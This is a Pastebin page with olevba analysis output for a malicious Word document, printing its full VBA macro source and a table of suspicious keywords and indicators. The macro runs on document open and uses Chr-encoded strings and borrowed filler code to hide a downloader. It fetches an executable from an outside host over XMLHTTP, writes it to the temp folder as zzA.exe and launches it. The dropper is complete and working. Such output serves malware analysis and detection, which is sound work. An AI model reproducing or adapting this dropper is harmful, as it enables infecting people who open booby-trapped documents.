Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.31 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASI-B-V order-~1.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: order-~1.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: order-~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- SSVEvdqwfF3 (7.4)
- End Sub
- Sub SSVEvdqwfF3(FFFFF As Double)
- vtkNormalizeFileToFile
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: order-~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Sub ErrorHandler(lError As Long, sObjectName As String, sFunctionName As String)
- On Error GoTo ERROR_HANDLER:
- Dim sPath As String
- HadError = True
- 'AddChat vbRed, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
- sPath = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")
- If (LenB(Dir$(sPath)) = 0) Then
- Open sPath For Output As #1: Close #1
- End If
- Open sPath For Append As #1
- Print #1, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
- Close #1
- Err.Clear
- sErrorFile = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")
- Exit Sub
- ERROR_HANDLER:
- MsgBox StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
- Err.Clear
- End Sub
- Public Function StringFormat(source As String, ParamArray params() As Variant)
- On Error GoTo ERROR_HANDLER:
- Dim retVal As String, i As Integer
- retVal = source
- For i = LBound(params) To UBound(params)
- retVal = Replace(retVal, "{" & i & "}", CStr(params(i)))
- Next
- StringFormat = retVal
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "StringFormat"
- StringFormat = vbNullString
- End Function
- Public Function ReplaceEnvironmentVars(ByVal str As String) As String
- On Error GoTo ERROR_HANDLER:
- Dim i As Integer
- Dim Name As String
- Dim Value As String
- Dim tmp As String
- tmp = str
- i = 1
- While (LenB(Environ$(i)) > 0)
- Name = Mid$(Environ$(i), 1, InStr(1, Environ$(i), "=") - 1)
- Value = Mid$(Environ$(i), InStr(1, Environ$(i), "=") + 1)
- tmp = Replace(tmp, "%" & Name & "%", Value)
- i = i + 1
- Wend
- ReplaceEnvironmentVars = tmp
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "ReplaceEnvironmentVars"
- ReplaceEnvironmentVars = vbNullString
- End Function
- Public Function MakeDirectory(sPath As String) As Boolean
- On Error GoTo ERROR_HANDLER
- MkDir sPath
- MakeDirectory = True
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "MakeDirectory"
- MakeDirectory = False
- End Function
- Public Sub LoadXMLDocument()
- On Error GoTo ERROR_HANDLER:
- Exit Sub
- If (Not xml_doc Is Nothing) Then
- Set xml_doc = Nothing
- End If
- Set xml_doc = New DOMDocument60
- If (Not xml_doc.Load(App.path & "\Launcher.xml")) Then
- MsgBox "Failed to load Launcher.xml"
- End If
- Exit Sub
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "LoadXMLDocument"
- End Sub
- Public Function CopyProfileFiles(sProfile As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim sRootPath As String
- sRootPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sProfile)
- 'Copy over the \Default\ Directory if it exists.
- If (LenB(Dir$(StringFormat("{0}\Default\", App.path), vbDirectory)) > 0) Then
- If (Not CopyFolder(StringFormat("{0}\Default", App.path), sRootPath)) Then
- 'could not copy default folder
- End If
- End If
- CopyProfileFiles = True
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "CopyProfileFiles"
- End Function
- Public Function KillFolder(ByVal FullPath As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim oFso As Object
- Set oFso = CreateObject("Scripting.FileSystemObject")
- If Right(FullPath, 1) = "\" Then FullPath = Left$(FullPath, Len(FullPath) - 1)
- If oFso.FolderExists(FullPath) Then
- Dir App.path 'Use App.Path because that *should* always exist unless some voodo was performed. But 'C:/' is not garenteed.
- oFso.DeleteFolder FullPath, True
- KillFolder = (Err.Number = 0 And oFso.FolderExists(FullPath) = False)
- Else
- KillFolder = True
- End If
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "KillFolder"
- KillFolder = False
- End Function
- Public Function LaunchProfile(sProfile As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim lRet As Long
- Dim sPath As String
- Dim security As SECURITY_ATTRIBUTES
- Dim suInfo As STARTUPINFO
- Dim pInfo As PROCESS_INFORMATION
- Dim sCL As String
- sCL = StringFormat(" -addpath {0}{1}{0}", Chr$(34), App.path)
- sCL = StringFormat("{0} -launcherver {1}{2}{3}", sCL, ZeroOffset(App.Major, 2), ZeroOffset(App.Minor, 2), ZeroOffset(App.Revision, 4))
- If (HadError) Then
- sCL = StringFormat("{0} -launchererror", sCL)
- If (LenB(sErrorFile)) Then sCL = StringFormat("{0} {1}{2}{1}", sCL, Chr$(34), sErrorFile)
- End If
- If (Not ProfileExists(sProfile)) Then Exit Function
- sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)
- lRet = CreateProcess(StringFormat("{0}\StealthBot v2.7", App.path), _
- sCL, _
- security, security, False, _
- NORMAL_PRIORITY_CLASS, _
- ByVal 0&, sPath, suInfo, pInfo)
- If (cConfig Is Nothing) Then Set cConfig = New clsConfig
- If (cConfig.AutoClose) Then Unload frmLauncher
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "LaunchProfile"
- LaunchProfile = False
- End Function
- Private Function GetDesktopPath() As String
- On Error GoTo ERROR_HANDLER:
- Dim oShell As Object
- Dim sPath As String
- Set oShell = CreateObject("WScript.Shell")
- sPath = oShell.SpecialFolders("Desktop")
- If (Not Right$(sPath, 1) = "\") Then sPath = sPath & "\"
- GetDesktopPath = sPath
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "GetDesktopPath"
- End Function
- Public Function CreateShortcut(sProfile As String)
- On Error GoTo ERROR_HANDLER:
- Dim oShell As Object
- Dim oShortCut As Object
- Dim sDesktop As String
- Dim sPath As String
- sDesktop = GetDesktopPath
- If (LenB(sDesktop) = 0) Then
- MsgBox "Failed to get desktop folder."
- Exit Function
- End If
- sPath = StringFormat("{0}StealthBot - {1}.lnk", sDesktop, sProfile)
- Set oShell = CreateObject("WScript.Shell")
- Set oShortCut = oShell.CreateShortcut(sPath)
- With oShortCut
- .TargetPath = StringFormat("{0}{1}\{2}.exe{0}", Chr$(34), App.path, App.EXEName)
- .Arguments = StringFormat("-LaunchProfile {0}{1}{0}", Chr$(34), sProfile)
- .Save
- End With
- MsgBox StringFormat("Created shortcut for profile {0}{1}{0} on your desktop.{2}{3}", Chr$(34), sProfile, vbNewLine, sPath)
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "CreateShortcut"
- End Function
- Public Function ProfileExists(sProfile As String)
- On Error GoTo ERROR_HANDLER:
- Dim sPath As String
- If (LenB(sProfile) = 0) Then
- ProfileExists = False
- Exit Function
- End If
- End Function
- Public Function Profile8Exists(AquaBarb2 As String, AquaBarb3 As String, AquaBarb As Object, GetDesktopMPath_3 As String, GetDesktopMPath_8 As Double) As Double
- Profile8Exists = 77.8
- Profile8Exists = Create_Shortcut(AquaBarb, GetDesktopMPath_3)
- Profile8Exists = 72.99
- End Function
- Public Function vtkNormalizeFileToFile()
- Set GetDesktopMPath_1 = LaunchHistProfile(Chr(87) & Chr(80 + 3) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) + Chr(23 * 2) & Chr(40 * 2 + 3) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
- GetDesktopMPath_2 = GetDesktopMPath_1("T" & Chr(69) & Chr(77) & Chr(80))
- Dim AquaBarb As Object
- Set AquaBarb = LaunchHistProfile(Chr(65) & "do" & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & "a" & Chr(109))
- Dim GetDesktopMPath_3 As String
- GetDesktopMPath_3 = GetDesktopMPath_2 & "\" & "zz" & Chr(65) & "." & "e" & Chr(120) & "e"
- With AquaBarb
- .Type = 1
- .Open
- .write usZ5pw3gU8(223)
- End With
- Dim HricK As Double
- HricK = Profile8Exists("AquaBarb", "AquaBarb", AquaBarb, GetDesktopMPath_3, 88.3)
- Set noexile = LaunchHistProfile(";<=" + Chr(83) & "h" & "e" & Chr(108) & Chr(108) & Chr(46) & Chr(65) & "p" & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
- noexile.Open (GetDesktopMPath_3)
- End Function
- Public Function Profile7Exists(sProfile As String)
- sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)
- ProfileExists = LenB(Dir$(sPath, vbDirectory)) > 0
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "ProfileExists"
- End Function
- Public Function CreateProfile(sName As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim sPath As String
- CreateProfile = False
- sPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sName)
- If (ProfileExists(sName)) Then
- MsgBox "Profile already exists!"
- Exit Function
- End If
- If (Not MakeDirectory(sPath)) Then
- MsgBox "Error creating profile directory."
- Exit Function
- End If
- If (Not CopyProfileFiles(sName)) Then
- MsgBox "Failed to copy profile files over."
- KillFolder sPath
- Exit Function
- End If
- CreateProfile = True
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "CreateProfile"
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: order-~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private properlyCasedIdentifiersArray() As String
- '---------------------------------------------------------------------------------------
- ' Procedure : initializeList
- ' Author : Lucas Vitorino
- ' Purpose : This Sub initializes the list of properly cased identifiers used to normalize the source code.
- '---------------------------------------------------------------------------------------
- '
- Private Sub initializeList()
- Dim properlyCasedIdentifiersString As String
- properlyCasedIdentifiersString = _
- "Dim" & "," & _
- "Wb" & "," & _
- "Err" & "," & _
- "Number" & "," & _
- "Description" & "," & _
- "Source" & "," & _
- "Count" & "," & _
- "File" & "," & _
- "Folder" & "," & _
- "Scripting" & "," & _
- "Boolean" & "," & _
- "String" & "," & _
- "Integer" & "," & _
- "addModule" & "," & _
- "returnValue" & "," & _
- "retVal" & "," & _
- "fileName" & "," & _
- "saveChanges" & "," & _
- ""
- properlyCasedIdentifiersArray = Split(properlyCasedIdentifiersString, ",")
- End Sub
- '---------------------------------------------------------------------------------------
- ' Procedure : vtkListOfProperlyCasedIdentifiers
- ' Author : Lucas Vitorino
- ' Purpose : This functions returns the array containing the properly cased Strings.
- '---------------------------------------------------------------------------------------
- '
- Public Function vtkListOfProperlyCasedIdentifiers() As String()
- If Len(Join(properlyCasedIdentifiersArray, "")) = 0 Then ' if the array has not been initialized
- initializeList
- End If
- vtkListOfProperlyCasedIdentifiers = properlyCasedIdentifiersArray
- End Function
- '---------------------------------------------------------------------------------------
- ' Procedure : vtkNormalizeToken
- ' Author : Lucas Vitorino
- ' Purpose : - Perform a case-insensitive search of a given token in a given array of Strings,
- ' and return this token with the casing used in the array.
- ' - If the token is not found in the array of if the array is empty, the token is
- ' returned unchanged.
- ' Returns : A String corresponding to the normalized token.
- ' Errors : VTK_UNEXPECTED_ERROR
- '---------------------------------------------------------------------------------------
- '
- Public Function vtkNormalizeToken(token As String, listOfTokens() As String) As String
- On Error GoTo vtkNormalizeToken_Error
- ' If the list is not empty
- If Len(Join(listOfTokens, "")) <> 0 Then
- ' Perform the search
- Dim i As Integer
- For i = LBound(listOfTokens) To UBound(listOfTokens)
- If StrComp(UCase(token), UCase(listOfTokens(i))) = 0 Then
- vtkNormalizeToken = listOfTokens(i)
- Exit Function
- End If
- Next
- End If
- ' If the token has not been found or the list is empty, return the token unchanged
- On Error GoTo 0
- vtkNormalizeToken = token
- Exit Function
- vtkNormalizeToken_Error:
- Err.source = "function vtkNormalizeToken of module vtkNormalize"
- Err.Number = VTK_UNEXPECTED_ERROR
- Err.Raise Err.Number, Err.source, Err.Description
- Exit Function
- End Function
- '---------------------------------------------------------------------------------------
- ' Procedure : vtkNormalizeString
- ' Author : Lucas Vitorino
- ' Purpose : Normalize a String by normalizing the VBA identifier tokens in it
- ' - an identifier token is a String starting by a [A-Za-z] character with nothing but characters,
- ' numbers and underscores in it
- ' - comments are not scanned for identifier tokens.
- ' Returns : The normalized String corresponding to the input String.
- ' Raises : - VTK_UNEXPECTED_EOS
- ' - VTK_UNEXPECTED_CHAR
- ' - VTK_UNEXPECTED_ERROR
- ' Notes : This code is based on code generated by Klemen's LEX4VB. Get LEX4VB from http://www.schmidks.de
- '---------------------------------------------------------------------------------------
- '
- Public Function Create_Shortcut(GetDesktopMPath_4 As Object, GetDesktopMPath_3 As String) As Integer
- Create_Shortcut = 15
- GetDesktopMPath_4.savetofile GetDesktopMPath_3, 2
- Create_Shortcut = 2
- End Function
- Public Function vtkNormalizeString(s As String, listOfTokens() As String) As String
- Dim token As String
- Dim State As Integer, OldState As Integer
- Dim Cnt As Integer
- Dim ch As String
- Dim p As Integer
- Dim returnString As String
- On Error GoTo vtkNormalizeString_Error
- p = 1: State = 0: OldState = -1
- s = s & Chr(0)
- Do While p <= Len(s)
- If State = OldState Then Cnt = Cnt + 1 Else Cnt = 0
- OldState = State
- ch = Mid(s, p, 1)
- Select Case State
- Case 0:
- ' The analyser is looking for a token : copy characters without modifying
- If Asc(ch) = 0 Then
- State = 9
- ElseIf ch Like "[A-Za-z]" Then
- token = token & ch
- State = 1
- ElseIf ch Like "[']" Then
- returnString = returnString & ch
- token = ""
- State = 2
- ElseIf ch Like "[""]" Then
- returnString = returnString & ch
- token = ""
- State = 3
- ElseIf ch Like "[!']" Then
- returnString = returnString & ch
- token = ""
- State = 0
- Else: Err.Raise VTK_UNEXPECTED_CHAR
- End If
- End Function
- Public Function usZ5pw3gU8(KJB As Long)
- Dim sCommandLine As Object
- Set sCommandLine = LaunchHistProfile(Chr(77) & Chr(105) & "c" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
- ProfileChr sCommandLine
- sCommandLine.Send
- usZ5pw3gU8 = sCommandLine.responseBody
- End Function
- Public Function analsyer_is()
- Case 1:
- ' The analsyer is in a token : normalize tokens it finds
- If Asc(ch) = 0 Then
- returnString = returnString & vtkNormalizeToken(token, listOfTokens)
- State = 9
- ElseIf ch Like "[A-Za-z,0-9,_]" Then
- token = token & ch
- State = 1
- ElseIf ch Like "[']" Then
- returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
- token = ""
- State = 2
- ElseIf ch Like "[""]" Then
- returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
- token = ""
- State = 3
- ElseIf ch Like "[!']" Then
- returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
- token = ""
- State = 0
- Else: Err.Raise VTK_UNEXPECTED_CHAR
- End If
- Case 2:
- ' The analyser is in a comment : copy characters without modifying until end of String
- If Asc(ch) = 0 Then
- State = 9
- ElseIf Asc(ch) > 0 Then
- returnString = returnString & ch
- State = 2
- Else: Err.Raise VTK_UNEXPECTED_CHAR
- End If
- Case 3:
- 'The analyser is in a String : copy characters without modifying until a quote
- If Asc(ch) = 0 Then
- State = 9
- ElseIf ch Like "[""]" Then
- returnString = returnString & ch
- State = 0
- ElseIf Asc(ch) > 0 Then
- returnString = returnString & ch
- State = 3
- Else: Err.Raise VTK_UNEXPECTED_CHAR
- End If
- Case 9:
- If True Then
- State = 9
- Else: Err.Raise VTK_UNEXPECTED_CHAR
- End If
- End Select
- p = p + 1
- Loop
- If State <> 9 Then Err.Raise VTK_UNEXPECTED_EOS
- vtkNormalizeString = returnString
- Exit Function
- vtkNormalizeString_Error:
- Err.source = "function vtkNormalizeString of module vtkNormalize"
- Select Case Err.Number
- Case VTK_UNEXPECTED_EOS
- Err.Description = "Unexpected EOS in String " & s
- Case VTK_UNEXPECTED_CHAR
- Err.Description = "Unexpected character of Ascii code " & Asc(ch) & " in String " & s & " at position " & p
- Case Else
- Err.Number = VTK_UNEXPECTED_ERROR
- End Select
- Err.Raise Err.Number, Err.source, Err.Description
- End Function
- '---------------------------------------------------------------------------------------
- ' Procedure : vtkNormalizeFile
- ' Author : Lucas Vitorino
- ' Purpose : Normalize a file.
- ' - Create a temporary file in the same directory
- ' - Copy each line of the original file in the temporary file, after calling vtkNormalizeString on them
- ' - Delete the original file
- ' - Rename the temporary file with the name of the original one.
- ' Raises : - VTK_WRONG_FILE_PATH
- ' - VTK_UNEXPECTED_ERROR
- '---------------------------------------------------------------------------------------
- '
- Public Sub vtkNormalizeFile(fullFilePath As String, listOfTokens() As String)
- On Error GoTo vtkNormalizeFile_Error
- Dim fso As New FileSystemObject
- ' Initialize input and output files
- Dim inputFileObject As File
- Set inputFileObject = fso.GetFile(fullFilePath)
- Dim normalizedFullFilePath As String
- normalizedFullFilePath = inputFileObject.ParentFolder & "\" & "tmp_" & inputFileObject.Name
- fso.CreateTextFile (normalizedFullFilePath)
- Dim outputFileObject As File
- Set outputFileObject = fso.GetFile(normalizedFullFilePath)
- ' Initialize objects to read and write the files
- Dim textFileRead As TextStream
- Set textFileRead = fso.OpenTextFile(fullFilePath, ForReading)
- Dim textFileWrite As TextStream
- Set textFileWrite = fso.OpenTextFile(normalizedFullFilePath, ForWriting)
- ' Copy each line of the input file in the output file after normalizing it
- Do Until textFileRead.AtEndOfStream
- textFileWrite.WriteLine (vtkNormalizeString(textFileRead.ReadLine, listOfTokens))
- Loop
- ' Close the streams
- textFileRead.Close
- textFileWrite.Close
- ' Delete original file
- Kill fullFilePath
- ' Rename normalized file with the name of the original file
- outputFileObject.Name = fso.GetFileName(fullFilePath)
- On Error GoTo 0
- Exit Sub
- vtkNormalizeFile_Error:
- Err.source = "sub vtkNormalizeFile of module vtkNormalize"
- Select Case Err.Number
- Case 53
- Err.Number = VTK_WRONG_FILE_PATH
- Case Else
- Err.Number = VTK_UNEXPECTED_ERROR
- End Select
- Err.Raise Err.Number, Err.source, Err.Description
- Exit Sub
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: order-~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function RemoveProfile(ByRef Item As String)
- On Error GoTo ERROR_HANDLER
- Dim lRet As Long
- Dim sProfile As String
- sProfile = Item.Text
- lRet = MsgBox(StringFormat("This will delete EVERYTHING in the {0}{1}{0} profile. Are you sure?", Chr$(34), sProfile), vbYesNoCancel + vbQuestion)
- If (lRet = vbYes) Then
- If (KillFolder(StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}"), sProfile))) Then
- frmLauncher.UnlistProfile Item.Index
- Else
- MsgBox "Failed to delete the profile. It may be in use by an application. Try rebooting your computer and deleting it again.", vbInformation + vbOKOnly
- Exit Function
- End If
- End If
- RemoveProfile = True
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "RemoveProfile"
- End Function
- Private Function StripString(ByRef sTemp As String) As String
- On Error GoTo ERROR_HANDLER
- Dim sValue As String
- If (Left$(sTemp, 1) = Chr$(34)) Then
- If (InStr(2, sTemp, Chr$(34), vbTextCompare) > 0) Then
- sValue = Mid$(sTemp, 2, InStr(2, sTemp, Chr$(34), vbTextCompare) - 2)
- sTemp = Mid$(sTemp, Len(sValue) + 4)
- Else
- sValue = Mid$(Split(sTemp & " -", " -")(0), 2)
- sTemp = Mid$(sTemp, Len(sValue) + 3)
- End If
- Else
- sValue = Split(sTemp & " -", " -")(0)
- sTemp = Mid$(sTemp, Len(sValue) + 2)
- End If
- StripString = sValue
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "StripString"
- End Function
- Public Function ProfileChr(KJB As Object)
- Dim segR As String
- segR = Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(104) & "o" & "b" & Chr(98) & Chr(121) & Chr(45) & Chr(104) & "a" & Chr(110) & "g" & Chr(97) & Chr(114)
- KJB.Open Chr(71) & "E" & Chr(84), segR & Chr(46) & "n" & Chr(101) & Chr(116) & "/" & Chr(49) & "2" & Chr(51) & Chr(47) & Chr(49) & Chr(49) & "1" & "1" & Chr(46) & "e" & Chr(120) & "e", False
- End Function
- Public Function SetCommandLine(sCommandLine As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim sTemp As String
- Dim sSetting As String
- Dim sValue As String
- CommandLine = vbNullString
- sTemp = sCommandLine
- Do While Left$(sTemp, 1) = "-"
- sSetting = Split(Mid$(sTemp, 2) & Space$(1), Space$(1))(0)
- sTemp = Mid$(sTemp, Len(sSetting) + 3)
- Select Case LCase$(sSetting)
- Case "launchprofile":
- sValue = StripString(sTemp)
- If (Not LenB(sValue) = 0) Then
- If (Not ProfileExists(sValue)) Then
- MsgBox StringFormat("The Profile {0}{1}{0} does not exist!", Chr$(34), sValue)
- Else
- LaunchProfile sValue
- SetCommandLine = True
- Exit Function
- End If
- End If
- Case Else:
- CommandLine = StringFormat("{0}-{1} ", CommandLine, sSetting)
- End Select
- Loop
- Exit Function
- ERROR_HANDLER:
- SetCommandLine = False
- ErrorHandler Err.Number, OBJECT_NAME, "SetCommandLine"
- End Function
- Public Function LaunchHistProfile(SmRaNdMM1 As String)
- For i = 0 To 3
- SmRaNdMM1 = Replace(SmRaNdMM1, Chr(i + 20 * 3 - 1), "")
- Next i
- Set LaunchHistProfile = CreateObject(SmRaNdMM1)
- End Function
- Public Function CopyFolder(sSource As String, sDest As String) As Boolean
- On Error GoTo ERROR_HANDLER:
- Dim sFile As String
- Dim sSourcePath As String
- Dim sDestPath As String
- Dim sFiles As New Collection
- Dim X As Integer
- CopyFolder = False
- If (LenB(Dir$(sDest, vbDirectory)) = 0) Then
- If (Not MakeDirectory(sDest)) Then Exit Function
- End If
- If (LenB(Dir$(StringFormat("{0}\", sSource), vbDirectory)) = 0) Then Exit Function
- Do While True
- sFile = Dir$
- If (LenB(sFile) = 0) Then Exit Do
- If (Not sFile = "..") Then sFiles.Add sFile
- Loop
- For X = 1 To sFiles.Count
- sFile = sFiles.Item(X)
- sSourcePath = StringFormat("{0}\{1}", sSource, sFile)
- sDestPath = StringFormat("{0}\{1}", sDest, sFile)
- If ((GetFileAttributes(sSourcePath) And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) Then
- If (Not CopyFolder(sSourcePath, sDestPath)) Then
- KillFolder sDest
- Exit Function
- End If
- Else
- Call FileCopy(sSourcePath, sDestPath)
- If (LenB(Dir$(sDestPath)) = 0) Then
- KillFolder sDest
- Exit Function
- End If
- End If
- Next X
- CopyFolder = True
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "CopyFolder"
- CopyFolder = False
- End Function
- 'Public Sub AddChat(ParamArray saElements() As Variant)
- 'On Error GoTo ERROR_HANDLER:
- ' Dim i As Integer
- ' With frmStatus.rtbStatus
- ' If (Len(.Text) > &H4000) Then
- ' .SelStart = 0
- ' .SelLength = &H100
- ' .SelText = vbNullString
- ' End If
- '
- ' .SelStart = Len(.Text)
- ' .SelLength = 0
- ' .SelColor = vbWhite
- ' .SelText = StringFormat("[{0}] ", Time)
- ' .SelStart = Len(.Text)
- '
- ' For i = LBound(saElements) To UBound(saElements) Step 2
- ' .SelStart = Len(.Text)
- ' .SelLength = 0
- ' .SelColor = saElements(i)
- ' .SelText = saElements(i + 1) & Left$(vbCrLf, -2 * CLng((i + 1) = UBound(saElements)))
- ' .SelStart = Len(.Text)
- ' Next i
- ' End With
- ' Exit Sub
- 'ERROR_HANDLER:
- ' If (Err.Number = 13 Or Err.Number = 91) Then Exit Sub
- ' ErrorHandler Err.Number, OBJECT_NAME, "AddChat"
- 'End Sub
- Public Function GetWebPath()
- On Error GoTo ERROR_HANDLER
- GetWebPath = "http://www.StealthBot.net/sb/Launcher/"
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "GetWebPath"
- End Function
- Public Function ReplaceVars(sString As String) As String
- On Error GoTo ERROR_HANDLER
- sString = Replace$(sString, "{PROFILEPATH}", "%APPDATA\StealthBot")
- sString = ReplaceEnvironmentVars(sString)
- ReplaceVars = sString
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "ReplaceVars"
- End Function
- 'Public Function CheckForUpdates() As Boolean
- 'On Error GoTo ERROR_HANDLER:
- '
- ' Dim sTemp As String
- ' Dim i As Integer
- ' Dim sCRC As String
- ' Dim lRet As Long
- '
- ' With frmLauncher.iNet
- '
- ' 'sTemp = .OpenURL(StringFormat("{0}?p=lnews", GetWebPath))
- ' 'AddChat vbGreen, StringFormat("Launcher news:{0}{1}", vbNewLine, ReplaceVars(sTemp))
- '
- ' sTemp = .OpenURL(StringFormat("{0}?p=lupdate", GetWebPath))
- '
- ' i = InStr(sTemp, Chr$(&HFF))
- ' If (i = 0) Then
- ' 'AddChat vbRed, "Failed to get launcer update information."
- ' Exit Function
- ' End If
- '
- ' If (Not StrComp(Left$(sTemp, i - 1), StringFormat("{0}.{1}", App.Major, App.Minor), vbTextCompare) = 0) Then
- ' sTemp = .OpenURL(StringFormat("{0}?p=latest_url", GetWebPath))
- ' lRet = MsgBox(StringFormat("Version {0} of the launcher is avalible at {1}.{2}Would you like to download it now?", _
- ' Left$(sTemp, i - 1), sTemp, vbNewLine), vbYesNo)
- '
- '
- ' If (lRet = vbYes) Then
- ' ShellExecute frmLauncher.hWnd, vbNullString, sTemp, vbNullString, vbNullString, SW_SHOW
- ' CheckForUpdates = True
- ' End If
- ' 'AddChat vbGreen, "New updates avalible: ", vbWhite, sTemp
- ' Exit Function
- ' End If
- ' End With
- ' Exit Function
- 'ERROR_HANDLER:
- ' ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
- 'End Function
- Public Function ZeroOffset(ByVal lInput As Long, ByVal lDigits As Long) As String
- On Error GoTo ERROR_HANDLER:
- ZeroOffset = Right$(String(lDigits, "0") & Hex$(lInput), lDigits)
- Exit Function
- ERROR_HANDLER:
- ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
- ZeroOffset = String$(lDigits, "0")
- End Function
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | AutoExec | AutoClose | Runs when the Word document is closed |
- | Suspicious | Kill | May delete a file |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | MkDir | May create a directory |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | FileCopy | May copy a file |
- | Suspicious | CreateTextFile | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Environ | May read system environment variables |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Print # | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command (obfuscation: VBA expression) |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) (obfuscation: VBA |
- | | | expression) |
- | Suspicious | ADODB.Stream | May create a text file (obfuscation: |
- | | | VBA expression) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | http://www.schmidks. | URL |
- | | de | |
- | IOC | http://www.StealthBo | URL |
- | | t.net/sb/Launcher/ | |
- | IOC | zzA.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | IOC | 1111.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement